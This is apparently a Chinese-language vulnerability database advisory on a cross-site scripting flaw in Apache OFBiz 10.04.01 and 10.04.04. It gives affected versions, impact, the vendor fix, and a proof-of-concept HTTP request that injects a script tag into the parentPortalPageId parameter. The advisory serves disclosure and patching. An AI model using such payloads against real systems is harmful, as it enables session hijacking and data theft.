ZeroBox Vulnerability Database

漏洞起因
跨站脚本错误
危险等级
中

影响系统
Apache OFBiz 10.04.01
Apache OFBiz 10.04.04

不受影响系统

危害
远程攻击者可以利用漏洞可获得敏感信息或劫持用户会话。

攻击所需条件
攻击者必须访问Apache OFBiz应用。

漏洞信息
Apache OFBiz是一款开源的自动化项目系统(ERP, CRM, E-Business / E-Commerce, MRP, SCM, CMMS/EAM…)。
Apache OFBiz不正确过滤Screenlet.title和Image.alt Widget属性，允许攻击者利用漏洞提交恶意请求进行跨站脚本攻击，可获得敏感信息或劫持用户会话。

测试方法
受影响URL: https://10.10.10.14:8443/exampleext/control/ManagePortalPages->
parameter: parentPortalPageId==[XSS]
GET
/exampleext/control/ManagePortalPages?parentPortalPageId=EXAMPLE”><script>alert(“xss”)</script>
HTTP/1.1
Host: 10.10.10.14:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/20100101
Firefox/17.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ar,es;q=0.8,en-us;q=0.5,en;q=0.3
Connection: keep-alive
Referer:
https://10.10.10.14:8443/exampleext/control/main?externalLoginKey=EL367731470037
Cookie: JSESSIONID=C3E2C59FDC670DC004A562861681C092.jvm1;
OFBiz.Visitor=10002

厂商解决方案
Apache OFBiz 10.04.05和Apache OFBiz 10.04.02已经修复此漏洞，建议用户下载使用：
http://ofbiz.apache.org/

漏洞提供者
WHK Yan